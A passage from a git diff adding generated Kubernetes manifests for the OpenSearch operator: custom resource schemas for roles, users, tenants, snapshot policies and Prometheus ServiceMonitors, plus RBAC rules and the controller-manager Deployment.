+ type: object + served: true + storage: true + subresources: + status: {} +--- +apiVersion: apiextensions.k8s.io/v1 +kind: CustomResourceDefinition +metadata: + annotations: + controller-gen.kubebuilder.io/version: v0.16.0 + name: opensearchroles.opensearch.opster.io +spec: + group: opensearch.opster.io + names: + kind: OpensearchRole + listKind: OpensearchRoleList + plural: opensearchroles + shortNames: + - opensearchrole + singular: opensearchrole + scope: Namespaced + versions: + - name: v1 + schema: + openAPIV3Schema: + description: OpensearchRole is the Schema for the opensearchroles API + properties: + apiVersion: + description: |- + APIVersion defines the versioned schema of this representation of an object. + Servers should convert recognized schemas to the latest internal value, and + may reject unrecognized values. + More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources + type: string + kind: + description: |- + Kind is a string value representing the REST resource this object represents. + Servers may infer this from the endpoint the client submits requests to. + Cannot be updated. + In CamelCase. + More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds + type: string + metadata: + type: object + spec: + description: OpensearchRoleSpec defines the desired state of OpensearchRole + properties: + clusterPermissions: + items: + type: string + type: array + indexPermissions: + items: + properties: + allowedActions: + items: + type: string + type: array + dls: + type: string + fls: + items: + type: string + type: array + indexPatterns: + items: + type: string + type: array + maskedFields: + items: + type: string + type: array + type: object + type: array + opensearchCluster: + description: |- + LocalObjectReference contains enough information to let you locate the + referenced object inside the same namespace. + properties: + name: + default: "" + description: |- + Name of the referent. + This field is effectively required, but due to backwards compatibility is + allowed to be empty. Instances of this type with an empty value here are + almost certainly wrong. + More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names + type: string + type: object + x-kubernetes-map-type: atomic + tenantPermissions: + items: + properties: + allowedActions: + items: + type: string + type: array + tenantPatterns: + items: + type: string + type: array + type: object + type: array + required: + - opensearchCluster + type: object + status: + description: OpensearchRoleStatus defines the observed state of OpensearchRole + properties: + existingRole: + type: boolean + managedCluster: + description: |- + UID is a type that holds unique ID values, including UUIDs. Because we + don't ONLY use UUIDs, this is an alias to string. Being a type captures + intent and helps make sure that UIDs and names do not get conflated. + type: string + reason: + type: string + state: + type: string + type: object + type: object + served: true + storage: true + subresources: + status: {} +--- +apiVersion: apiextensions.k8s.io/v1 +kind: CustomResourceDefinition +metadata: + annotations: + controller-gen.kubebuilder.io/version: v0.16.0 + name: opensearchsnapshotpolicies.opensearch.opster.io +spec: + group: opensearch.opster.io + names: + kind: OpensearchSnapshotPolicy + listKind: OpensearchSnapshotPolicyList + plural: opensearchsnapshotpolicies + singular: opensearchsnapshotpolicy + scope: Namespaced + versions: + - additionalPrinterColumns: + - description: Existing policy state + jsonPath: .status.existingSnapshotPolicy + name: existingpolicy + type: boolean + - description: Snapshot policy name + jsonPath: .status.snapshotPolicyName + name: policyName + type: string + - jsonPath: .status.state + name: state + type: string + - jsonPath: .metadata.creationTimestamp + name: age + type: date + name: v1 + schema: + openAPIV3Schema: + description: OpensearchSnapshotPolicy is the Schema for the opensearchsnapshotpolicies + API + properties: + apiVersion: + description: |- + APIVersion defines the versioned schema of this representation of an object. + Servers should convert recognized schemas to the latest internal value, and + may reject unrecognized values. + More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources + type: string + kind: + description: |- + Kind is a string value representing the REST resource this object represents. + Servers may infer this from the endpoint the client submits requests to. + Cannot be updated. + In CamelCase. + More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds + type: string + metadata: + type: object + spec: + properties: + creation: + properties: + schedule: + properties: + cron: + properties: + expression: + type: string + timezone: + type: string + required: + - expression + - timezone + type: object + required: + - cron + type: object + timeLimit: + type: string + required: + - schedule + type: object + deletion: + properties: + deleteCondition: + properties: + maxAge: + type: string + maxCount: + type: integer + minCount: + type: integer + type: object + schedule: + properties: + cron: + properties: + expression: + type: string + timezone: + type: string + required: + - expression + - timezone + type: object + required: + - cron + type: object + timeLimit: + type: string + type: object + description: + type: string + enabled: + type: boolean + notification: + properties: + channel: + properties: + id: + type: string + required: + - id + type: object + conditions: + properties: + creation: + type: boolean + deletion: + type: boolean + failure: + type: boolean + type: object + required: + - channel + type: object + opensearchCluster: + description: |- + LocalObjectReference contains enough information to let you locate the + referenced object inside the same namespace. + properties: + name: + default: "" + description: |- + Name of the referent. + This field is effectively required, but due to backwards compatibility is + allowed to be empty. Instances of this type with an empty value here are + almost certainly wrong. + More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names + type: string + type: object + x-kubernetes-map-type: atomic + policyName: + type: string + snapshotConfig: + properties: + dateFormat: + type: string + dateFormatTimezone: + type: string + ignoreUnavailable: + type: boolean + includeGlobalState: + type: boolean + indices: + type: string + metadata: + additionalProperties: + type: string + type: object + partial: + type: boolean + repository: + type: string + required: + - repository + type: object + required: + - creation + - opensearchCluster + - policyName + - snapshotConfig + type: object + status: + description: OpensearchSnapshotPolicyStatus defines the observed state + of OpensearchSnapshotPolicy + properties: + existingSnapshotPolicy: + type: boolean + managedCluster: + description: |- + UID is a type that holds unique ID values, including UUIDs. Because we + don't ONLY use UUIDs, this is an alias to string. Being a type captures + intent and helps make sure that UIDs and names do not get conflated. + type: string + reason: + type: string + snapshotPolicyName: + type: string + state: + type: string + type: object + type: object + served: true + storage: true + subresources: + status: {} +--- +apiVersion: apiextensions.k8s.io/v1 +kind: CustomResourceDefinition +metadata: + annotations: + controller-gen.kubebuilder.io/version: v0.16.0 + name: opensearchtenants.opensearch.opster.io +spec: + group: opensearch.opster.io + names: + kind: OpensearchTenant + listKind: OpensearchTenantList + plural: opensearchtenants + shortNames: + - opensearchtenant + singular: opensearchtenant + scope: Namespaced + versions: + - name: v1 + schema: + openAPIV3Schema: + description: OpensearchTenant is the Schema for the opensearchtenants API + properties: + apiVersion: + description: |- + APIVersion defines the versioned schema of this representation of an object. + Servers should convert recognized schemas to the latest internal value, and + may reject unrecognized values. + More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources + type: string + kind: + description: |- + Kind is a string value representing the REST resource this object represents. + Servers may infer this from the endpoint the client submits requests to. + Cannot be updated. + In CamelCase. + More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds + type: string + metadata: + type: object + spec: + description: OpensearchTenantSpec defines the desired state of OpensearchTenant + properties: + description: + type: string + opensearchCluster: + description: |- + LocalObjectReference contains enough information to let you locate the + referenced object inside the same namespace. + properties: + name: + default: "" + description: |- + Name of the referent. + This field is effectively required, but due to backwards compatibility is + allowed to be empty. Instances of this type with an empty value here are + almost certainly wrong. + More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names + type: string + type: object + x-kubernetes-map-type: atomic + required: + - opensearchCluster + type: object + status: + description: OpensearchTenantStatus defines the observed state of OpensearchTenant + properties: + existingTenant: + type: boolean + managedCluster: + description: |- + UID is a type that holds unique ID values, including UUIDs. Because we + don't ONLY use UUIDs, this is an alias to string. Being a type captures + intent and helps make sure that UIDs and names do not get conflated. + type: string + reason: + type: string + state: + type: string + type: object + type: object + served: true + storage: true + subresources: + status: {} +--- +apiVersion: apiextensions.k8s.io/v1 +kind: CustomResourceDefinition +metadata: + annotations: + controller-gen.kubebuilder.io/version: v0.16.0 + name: opensearchuserrolebindings.opensearch.opster.io +spec: + group: opensearch.opster.io + names: + kind: OpensearchUserRoleBinding + listKind: OpensearchUserRoleBindingList + plural: opensearchuserrolebindings + shortNames: + - opensearchuserrolebinding + singular: opensearchuserrolebinding + scope: Namespaced + versions: + - name: v1 + schema: + openAPIV3Schema: + description: OpensearchUserRoleBinding is the Schema for the opensearchuserrolebindings + API + properties: + apiVersion: + description: |- + APIVersion defines the versioned schema of this representation of an object. + Servers should convert recognized schemas to the latest internal value, and + may reject unrecognized values. + More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources + type: string + kind: + description: |- + Kind is a string value representing the REST resource this object represents. + Servers may infer this from the endpoint the client submits requests to. + Cannot be updated. + In CamelCase. + More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds + type: string + metadata: + type: object + spec: + description: OpensearchUserRoleBindingSpec defines the desired state of + OpensearchUserRoleBinding + properties: + backendRoles: + items: + type: string + type: array + opensearchCluster: + description: |- + LocalObjectReference contains enough information to let you locate the + referenced object inside the same namespace. + properties: + name: + default: "" + description: |- + Name of the referent. + This field is effectively required, but due to backwards compatibility is + allowed to be empty. Instances of this type with an empty value here are + almost certainly wrong. + More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names + type: string + type: object + x-kubernetes-map-type: atomic + roles: + items: + type: string + type: array + users: + items: + type: string + type: array + required: + - opensearchCluster + - roles + type: object + status: + description: OpensearchUserRoleBindingStatus defines the observed state + of OpensearchUserRoleBinding + properties: + managedCluster: + description: |- + UID is a type that holds unique ID values, including UUIDs. Because we + don't ONLY use UUIDs, this is an alias to string. Being a type captures + intent and helps make sure that UIDs and names do not get conflated. + type: string + provisionedBackendRoles: + items: + type: string + type: array + provisionedRoles: + items: + type: string + type: array + provisionedUsers: + items: + type: string + type: array + reason: + type: string + state: + type: string + type: object + type: object + served: true + storage: true + subresources: + status: {} +--- +apiVersion: apiextensions.k8s.io/v1 +kind: CustomResourceDefinition +metadata: + annotations: + controller-gen.kubebuilder.io/version: v0.16.0 + name: opensearchusers.opensearch.opster.io +spec: + group: opensearch.opster.io + names: + kind: OpensearchUser + listKind: OpensearchUserList + plural: opensearchusers + shortNames: + - opensearchuser + singular: opensearchuser + scope: Namespaced + versions: + - name: v1 + schema: + openAPIV3Schema: + description: OpensearchUser is the Schema for the opensearchusers API + properties: + apiVersion: + description: |- + APIVersion defines the versioned schema of this representation of an object. + Servers should convert recognized schemas to the latest internal value, and + may reject unrecognized values. + More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources + type: string + kind: + description: |- + Kind is a string value representing the REST resource this object represents. + Servers may infer this from the endpoint the client submits requests to. + Cannot be updated. + In CamelCase. + More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds + type: string + metadata: + type: object + spec: + description: OpensearchUserSpec defines the desired state of OpensearchUser + properties: + attributes: + additionalProperties: + type: string + type: object + backendRoles: + items: + type: string + type: array + opendistroSecurityRoles: + items: + type: string + type: array + opensearchCluster: + description: |- + LocalObjectReference contains enough information to let you locate the + referenced object inside the same namespace. + properties: + name: + default: "" + description: |- + Name of the referent. + This field is effectively required, but due to backwards compatibility is + allowed to be empty. Instances of this type with an empty value here are + almost certainly wrong. + More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names + type: string + type: object + x-kubernetes-map-type: atomic + passwordFrom: + description: SecretKeySelector selects a key of a Secret. + properties: + key: + description: The key of the secret to select from. Must be a + valid secret key. + type: string + name: + default: "" + description: |- + Name of the referent. + This field is effectively required, but due to backwards compatibility is + allowed to be empty. Instances of this type with an empty value here are + almost certainly wrong. + More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names + type: string + optional: + description: Specify whether the Secret or its key must be defined + type: boolean + required: + - key + type: object + x-kubernetes-map-type: atomic + required: + - opensearchCluster + - passwordFrom + type: object + status: + description: OpensearchUserStatus defines the observed state of OpensearchUser + properties: + managedCluster: + description: |- + UID is a type that holds unique ID values, including UUIDs. Because we + don't ONLY use UUIDs, this is an alias to string. Being a type captures + intent and helps make sure that UIDs and names do not get conflated. + type: string + reason: + type: string + state: + type: string + type: object + type: object + served: true + storage: true + subresources: + status: {} +--- +apiVersion: apiextensions.k8s.io/v1 +kind: CustomResourceDefinition +metadata: + annotations: + controller-gen.kubebuilder.io/version: v0.6.2 + name: servicemonitors.monitoring.coreos.com +spec: + conversion: + strategy: None + group: monitoring.coreos.com + names: + categories: + - prometheus-operator + kind: ServiceMonitor + listKind: ServiceMonitorList + plural: servicemonitors + singular: servicemonitor + scope: Namespaced + versions: + - name: v1 + schema: + openAPIV3Schema: + description: ServiceMonitor defines monitoring for a set of services. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation + of an object. Servers should convert recognized schemas to the latest + internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this + object represents. Servers may infer this from the endpoint the client + submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + description: Specification of desired Service selection for target discovery + by Prometheus. + properties: + endpoints: + description: A list of endpoints allowed as part of this ServiceMonitor. + items: + description: Endpoint defines a scrapeable endpoint serving Prometheus + metrics. + properties: + authorization: + description: Authorization section for this endpoint + properties: + credentials: + description: The secret's key that contains the credentials + of the request + properties: + key: + description: The key of the secret to select from. Must + be a valid secret key. + type: string + name: + description: 'Name of the referent. More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names + TODO: Add other useful fields. apiVersion, kind, uid?' + type: string + optional: + description: Specify whether the Secret or its key must + be defined + type: boolean + required: + - key + type: object + type: + description: Set the authentication type. Defaults to Bearer, + Basic will cause an error + type: string + type: object + basicAuth: + description: 'BasicAuth allow an endpoint to authenticate over + basic authentication More info: https://prometheus.io/docs/operating/configuration/#endpoints' + properties: + password: + description: The secret in the service monitor namespace + that contains the password for authentication. + properties: + key: + description: The key of the secret to select from. Must + be a valid secret key. + type: string + name: + description: 'Name of the referent. More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names + TODO: Add other useful fields. apiVersion, kind, uid?' + type: string + optional: + description: Specify whether the Secret or its key must + be defined + type: boolean + required: + - key + type: object + username: + description: The secret in the service monitor namespace + that contains the username for authentication. + properties: + key: + description: The key of the secret to select from. Must + be a valid secret key. + type: string + name: + description: 'Name of the referent. More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names + TODO: Add other useful fields. apiVersion, kind, uid?' + type: string + optional: + description: Specify whether the Secret or its key must + be defined + type: boolean + required: + - key + type: object + type: object + bearerTokenFile: + description: File to read bearer token for scraping targets. + type: string + bearerTokenSecret: + description: Secret to mount to read bearer token for scraping + targets. The secret needs to be in the same namespace as the + service monitor and accessible by the Prometheus Operator. + properties: + key: + description: The key of the secret to select from. Must + be a valid secret key. + type: string + name: + description: 'Name of the referent. More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names + TODO: Add other useful fields. apiVersion, kind, uid?' + type: string + optional: + description: Specify whether the Secret or its key must + be defined + type: boolean + required: + - key + type: object + followRedirects: + description: FollowRedirects configures whether scrape requests + follow HTTP 3xx redirects. + type: boolean + honorLabels: + description: HonorLabels chooses the metric's labels on collisions + with target labels. + type: boolean + honorTimestamps: + description: HonorTimestamps controls whether Prometheus respects + the timestamps present in scraped data. + type: boolean + interval: + description: Interval at which metrics should be scraped + type: string + metricRelabelings: + description: MetricRelabelConfigs to apply to samples before + ingestion. + items: + description: 'RelabelConfig allows dynamic rewriting of the + label set, being applied to samples before ingestion. It + defines ``-section of Prometheus + configuration. More info: https://prometheus.io/docs/prometheus/latest/configuration/configuration/#metric_relabel_configs' + properties: + action: + default: replace + description: Action to perform based on regex matching. + Default is 'replace' + enum: + - replace + - keep + - drop + - hashmod + - labelmap + - labeldrop + - labelkeep + type: string + modulus: + description: Modulus to take of the hash of the source + label values. + format: int64 + type: integer + regex: + description: Regular expression against which the extracted + value is matched. Default is '(.*)' + type: string + replacement: + description: Replacement value against which a regex replace + is performed if the regular expression matches. Regex + capture groups are available. Default is '$1' + type: string + separator: + description: Separator placed between concatenated source + label values. default is ';'. + type: string + sourceLabels: + description: The source labels select values from existing + labels. Their content is concatenated using the configured + separator and matched against the configured regular + expression for the replace, keep, and drop actions. + items: + description: LabelName is a valid Prometheus label name + which may only contain ASCII letters, numbers, as + well as underscores. + pattern: ^[a-zA-Z_][a-zA-Z0-9_]*$ + type: string + type: array + targetLabel: + description: Label to which the resulting value is written + in a replace action. It is mandatory for replace actions. + Regex capture groups are available. + type: string + type: object + type: array + oauth2: + description: OAuth2 for the URL. Only valid in Prometheus versions + 2.27.0 and newer. + properties: + clientId: + description: The secret or configmap containing the OAuth2 + client id + properties: + configMap: + description: ConfigMap containing data to use for the + targets. + properties: + key: + description: The key to select. + type: string + name: + description: 'Name of the referent. More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names + TODO: Add other useful fields. apiVersion, kind, + uid?' + type: string + optional: + description: Specify whether the ConfigMap or its + key must be defined + type: boolean + required: + - key + type: object + secret: + description: Secret containing data to use for the targets. + properties: + key: + description: The key of the secret to select from. Must + be a valid secret key. + type: string + name: + description: 'Name of the referent. More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names + TODO: Add other useful fields. apiVersion, kind, + uid?' + type: string + optional: + description: Specify whether the Secret or its key + must be defined + type: boolean + required: + - key + type: object + type: object + clientSecret: + description: The secret containing the OAuth2 client secret + properties: + key: + description: The key of the secret to select from. Must + be a valid secret key. + type: string + name: + description: 'Name of the referent. More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names + TODO: Add other useful fields. apiVersion, kind, uid?' + type: string + optional: + description: Specify whether the Secret or its key must + be defined + type: boolean + required: + - key + type: object + endpointParams: + additionalProperties: + type: string + description: Parameters to append to the token URL + type: object + scopes: + description: OAuth2 scopes used for the token request + items: + type: string + type: array + tokenUrl: + description: The URL to fetch the token from + minLength: 1 + type: string + required: + - clientId + - clientSecret + - tokenUrl + type: object + params: + additionalProperties: + items: + type: string + type: array + description: Optional HTTP URL parameters + type: object + path: + description: HTTP path to scrape for metrics. + type: string + port: + description: Name of the service port this endpoint refers to. + Mutually exclusive with targetPort. + type: string + proxyUrl: + description: ProxyURL eg http://proxyserver:2195 Directs scrapes + to proxy through this endpoint. + type: string + relabelings: + description: 'RelabelConfigs to apply to samples before scraping. + Prometheus Operator automatically adds relabelings for a few + standard Kubernetes fields. The original scrape job''s name + is available via the `__tmp_prometheus_job_name` label. More + info: https://prometheus.io/docs/prometheus/latest/configuration/configuration/#relabel_config' + items: + description: 'RelabelConfig allows dynamic rewriting of the + label set, being applied to samples before ingestion. It + defines ``-section of Prometheus + configuration. More info: https://prometheus.io/docs/prometheus/latest/configuration/configuration/#metric_relabel_configs' + properties: + action: + default: replace + description: Action to perform based on regex matching. + Default is 'replace' + enum: + - replace + - keep + - drop + - hashmod + - labelmap + - labeldrop + - labelkeep + type: string + modulus: + description: Modulus to take of the hash of the source + label values. + format: int64 + type: integer + regex: + description: Regular expression against which the extracted + value is matched. Default is '(.*)' + type: string + replacement: + description: Replacement value against which a regex replace + is performed if the regular expression matches. Regex + capture groups are available. Default is '$1' + type: string + separator: + description: Separator placed between concatenated source + label values. default is ';'. + type: string + sourceLabels: + description: The source labels select values from existing + labels. Their content is concatenated using the configured + separator and matched against the configured regular + expression for the replace, keep, and drop actions. + items: + description: LabelName is a valid Prometheus label name + which may only contain ASCII letters, numbers, as + well as underscores. + pattern: ^[a-zA-Z_][a-zA-Z0-9_]*$ + type: string + type: array + targetLabel: + description: Label to which the resulting value is written + in a replace action. It is mandatory for replace actions. + Regex capture groups are available. + type: string + type: object + type: array + scheme: + description: HTTP scheme to use for scraping. + type: string + scrapeTimeout: + description: Timeout after which the scrape is ended + type: string + targetPort: + anyOf: + - type: integer + - type: string + description: Name or number of the target port of the Pod behind + the Service, the port must be specified with container port + property. Mutually exclusive with port. + x-kubernetes-int-or-string: true + tlsConfig: + description: TLS configuration to use when scraping the endpoint + properties: + ca: + description: Struct containing the CA cert to use for the + targets. + properties: + configMap: + description: ConfigMap containing data to use for the + targets. + properties: + key: + description: The key to select. + type: string + name: + description: 'Name of the referent. More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names + TODO: Add other useful fields. apiVersion, kind, + uid?' + type: string + optional: + description: Specify whether the ConfigMap or its + key must be defined + type: boolean + required: + - key + type: object + secret: + description: Secret containing data to use for the targets. + properties: + key: + description: The key of the secret to select from. Must + be a valid secret key. + type: string + name: + description: 'Name of the referent. More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names + TODO: Add other useful fields. apiVersion, kind, + uid?' + type: string + optional: + description: Specify whether the Secret or its key + must be defined + type: boolean + required: + - key + type: object + type: object + caFile: + description: Path to the CA cert in the Prometheus container + to use for the targets. + type: string + cert: + description: Struct containing the client cert file for + the targets. + properties: + configMap: + description: ConfigMap containing data to use for the + targets. + properties: + key: + description: The key to select. + type: string + name: + description: 'Name of the referent. More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names + TODO: Add other useful fields. apiVersion, kind, + uid?' + type: string + optional: + description: Specify whether the ConfigMap or its + key must be defined + type: boolean + required: + - key + type: object + secret: + description: Secret containing data to use for the targets. + properties: + key: + description: The key of the secret to select from. Must + be a valid secret key. + type: string + name: + description: 'Name of the referent. More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names + TODO: Add other useful fields. apiVersion, kind, + uid?' + type: string + optional: + description: Specify whether the Secret or its key + must be defined + type: boolean + required: + - key + type: object + type: object + certFile: + description: Path to the client cert file in the Prometheus + container for the targets. + type: string + insecureSkipVerify: + description: Disable target certificate validation. + type: boolean + keyFile: + description: Path to the client key file in the Prometheus + container for the targets. + type: string + keySecret: + description: Secret containing the client key file for the + targets. + properties: + key: + description: The key of the secret to select from. Must + be a valid secret key. + type: string + name: + description: 'Name of the referent. More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names + TODO: Add other useful fields. apiVersion, kind, uid?' + type: string + optional: + description: Specify whether the Secret or its key must + be defined + type: boolean + required: + - key + type: object + serverName: + description: Used to verify the hostname for the targets. + type: string + type: object + type: object + type: array + jobLabel: + description: "Chooses the label of the Kubernetes `Endpoints`. Its + value will be used for the `job`-label's value of the created metrics. + \n Default & fallback value: the name of the respective Kubernetes + `Endpoint`." + type: string + labelLimit: + description: Per-scrape limit on number of labels that will be accepted + for a sample. Only valid in Prometheus versions 2.27.0 and newer. + format: int64 + type: integer + labelNameLengthLimit: + description: Per-scrape limit on length of labels name that will be + accepted for a sample. Only valid in Prometheus versions 2.27.0 + and newer. + format: int64 + type: integer + labelValueLengthLimit: + description: Per-scrape limit on length of labels value that will + be accepted for a sample. Only valid in Prometheus versions 2.27.0 + and newer. + format: int64 + type: integer + namespaceSelector: + description: Selector to select which namespaces the Kubernetes Endpoints + objects are discovered from. + properties: + any: + description: Boolean describing whether all namespaces are selected + in contrast to a list restricting them. + type: boolean + matchNames: + description: List of namespace names to select from. + items: + type: string + type: array + type: object + podTargetLabels: + description: PodTargetLabels transfers labels on the Kubernetes `Pod` + onto the created metrics. + items: + type: string + type: array + sampleLimit: + description: SampleLimit defines per-scrape limit on number of scraped + samples that will be accepted. + format: int64 + type: integer + selector: + description: Selector to select Endpoints objects. + properties: + matchExpressions: + description: matchExpressions is a list of label selector requirements. + The requirements are ANDed. + items: + description: A label selector requirement is a selector that + contains values, a key, and an operator that relates the key + and values. + properties: + key: + description: key is the label key that the selector applies + to. + type: string + operator: + description: operator represents a key's relationship to + a set of values. Valid operators are In, NotIn, Exists + and DoesNotExist. + type: string + values: + description: values is an array of string values. If the + operator is In or NotIn, the values array must be non-empty. + If the operator is Exists or DoesNotExist, the values + array must be empty. This array is replaced during a strategic + merge patch. + items: + type: string + type: array + required: + - key + - operator + type: object + type: array + matchLabels: + additionalProperties: + type: string + description: matchLabels is a map of {key,value} pairs. A single + {key,value} in the matchLabels map is equivalent to an element + of matchExpressions, whose key field is "key", the operator + is "In", and the values array contains only "value". The requirements + are ANDed. + type: object + type: object + targetLabels: + description: TargetLabels transfers labels from the Kubernetes `Service` + onto the created metrics. + items: + type: string + type: array + targetLimit: + description: TargetLimit defines a limit on the number of scraped + targets that will be accepted. + format: int64 + type: integer + required: + - endpoints + - selector + type: object + required: + - spec + type: object + served: true + storage: true +--- +apiVersion: v1 +kind: ServiceAccount +metadata: + name: opensearch-operator-controller-manager + namespace: opensearch-operator-system +--- +apiVersion: rbac.authorization.k8s.io/v1 +kind: Role +metadata: + name: opensearch-operator-leader-election-role + namespace: opensearch-operator-system +rules: +- apiGroups: + - "" + resources: + - configmaps + verbs: + - get + - list + - watch + - create + - update + - patch + - delete +- apiGroups: + - coordination.k8s.io + resources: + - leases + verbs: + - get + - list + - watch + - create + - update + - patch + - delete +- apiGroups: + - "" + resources: + - events + verbs: + - create + - patch +--- +apiVersion: rbac.authorization.k8s.io/v1 +kind: ClusterRole +metadata: + name: opensearch-operator-manager-role +rules: +- apiGroups: + - apps + resources: + - deployments + - statefulsets + verbs: + - create + - delete + - get + - list + - patch + - update + - watch +- apiGroups: + - batch + resources: + - jobs + verbs: + - create + - delete + - get + - list + - patch + - update + - watch +- apiGroups: + - "" + resources: + - configmaps + - namespaces + - persistentvolumeclaims + - pods + - secrets + - services + verbs: + - create + - delete + - get + - list + - patch + - update + - watch +- apiGroups: + - "" + resources: + - events + verbs: + - create + - patch + - update +- apiGroups: + - monitoring.coreos.com + resources: + - servicemonitors + verbs: + - create + - delete + - get + - list + - patch + - update + - watch +- apiGroups: + - opensearch.opster.io + resources: + - events + verbs: + - create + - patch +- apiGroups: + - opensearch.opster.io + resources: + - opensearchactiongroups + - opensearchclusters + - opensearchcomponenttemplates + - opensearchindextemplates + - opensearchismpolicies + - opensearchroles + - opensearchsnapshotpolicies + - opensearchtenants + - opensearchuserrolebindings + - opensearchusers + verbs: + - create + - delete + - get + - list + - patch + - update + - watch +- apiGroups: + - opensearch.opster.io + resources: + - opensearchactiongroups/finalizers + - opensearchclusters/finalizers + - opensearchcomponenttemplates/finalizers + - opensearchindextemplates/finalizers + - opensearchismpolicies/finalizers + - opensearchroles/finalizers + - opensearchsnapshotpolicies/finalizers + - opensearchtenants/finalizers + - opensearchuserrolebindings/finalizers + - opensearchusers/finalizers + verbs: + - update +- apiGroups: + - opensearch.opster.io + resources: + - opensearchactiongroups/status + - opensearchclusters/status + - opensearchcomponenttemplates/status + - opensearchindextemplates/status + - opensearchismpolicies/status + - opensearchroles/status + - opensearchsnapshotpolicies/status + - opensearchtenants/status + - opensearchuserrolebindings/status + - opensearchusers/status + verbs: + - get + - patch + - update +- apiGroups: + - policy + resources: + - poddisruptionbudgets + verbs: + - create + - delete + - get + - list + - patch + - update + - watch +--- +apiVersion: rbac.authorization.k8s.io/v1 +kind: ClusterRole +metadata: + name: opensearch-operator-metrics-reader +rules: +- nonResourceURLs: + - /metrics + verbs: + - get +--- +apiVersion: rbac.authorization.k8s.io/v1 +kind: ClusterRole +metadata: + name: opensearch-operator-proxy-role +rules: +- apiGroups: + - authentication.k8s.io + resources: + - tokenreviews + verbs: + - create +- apiGroups: + - authorization.k8s.io + resources: + - subjectaccessreviews + verbs: + - create +--- +apiVersion: rbac.authorization.k8s.io/v1 +kind: RoleBinding +metadata: + name: opensearch-operator-leader-election-rolebinding + namespace: opensearch-operator-system +roleRef: + apiGroup: rbac.authorization.k8s.io + kind: Role + name: opensearch-operator-leader-election-role +subjects: +- kind: ServiceAccount + name: opensearch-operator-controller-manager + namespace: opensearch-operator-system +--- +apiVersion: rbac.authorization.k8s.io/v1 +kind: ClusterRoleBinding +metadata: + name: opensearch-operator-manager-rolebinding +roleRef: + apiGroup: rbac.authorization.k8s.io + kind: ClusterRole + name: opensearch-operator-manager-role +subjects: +- kind: ServiceAccount + name: opensearch-operator-controller-manager + namespace: opensearch-operator-system +--- +apiVersion: rbac.authorization.k8s.io/v1 +kind: ClusterRoleBinding +metadata: + name: opensearch-operator-proxy-rolebinding +roleRef: + apiGroup: rbac.authorization.k8s.io + kind: ClusterRole + name: opensearch-operator-proxy-role +subjects: +- kind: ServiceAccount + name: opensearch-operator-controller-manager + namespace: opensearch-operator-system +--- +apiVersion: v1 +data: + controller_manager_config.yaml: | + apiVersion: controller-runtime.sigs.k8s.io/v1alpha1 + kind: ControllerManagerConfig + health: + healthProbeBindAddress: :8081 + metrics: + bindAddress: 127.0.0.1:8080 + webhook: + port: 9443 + leaderElection: + leaderElect: true + resourceName: a867c7dc.opensearch.opster.io +kind: ConfigMap +metadata: + name: opensearch-operator-manager-config + namespace: opensearch-operator-system +--- +apiVersion: v1 +kind: Service +metadata: + labels: + control-plane: controller-manager + name: opensearch-operator-controller-manager-metrics-service + namespace: opensearch-operator-system +spec: + ports: + - name: https + port: 8443 + targetPort: https + selector: + control-plane: controller-manager +--- +apiVersion: apps/v1 +kind: Deployment +metadata: + labels: + control-plane: controller-manager + name: opensearch-operator-controller-manager + namespace: opensearch-operator-system +spec: + replicas: 1 + selector: + matchLabels: + control-plane: controller-manager + template: + metadata: + labels: + control-plane: controller-manager + spec: + containers: + - args: + - --secure-listen-address=0.0.0.0:8443 + - --upstream=http://127.0.0.1:8080/ + - --logtostderr=true + - --v=10 + image: gcr.io/kubebuilder/kube-rbac-proxy:v0.8.0 + name: kube-rbac-proxy + ports: + - containerPort: 8443 + name: https + - args: + - --health-probe-bind-address=:8081 + - --metrics-bind-address=127.0.0.1:8080 + - --leader-elect + command: + - /manager + image: controller:latest + livenessProbe: + httpGet: + path: /healthz + port: 8081 + initialDelaySeconds: 15 + periodSeconds: 20 + name: manager + readinessProbe: + httpGet: + path: /readyz + port: 8081 + initialDelaySeconds: 5 + periodSeconds: 10 + resources: + limits: + cpu: 100m + memory: 30Mi + requests: + cpu: 100m + memory: 20Mi + securityContext: + allowPrivilegeEscalation: false + securityContext: + runAsNonRoot: true + serviceAccountName: opensearch-operator-controller-manager + terminationGracePeriodSeconds: 10 diff --git a/k8s/vizier/BUILD.bazel b/k8s/vizier/BUILD.bazel index 81341f7f77e..69a66ce180b 100644 --- a/k8s/vizier/BUILD.bazel +++ b/k8s/vizier/BUILD.bazel @@ -23,6 +23,7 @@ 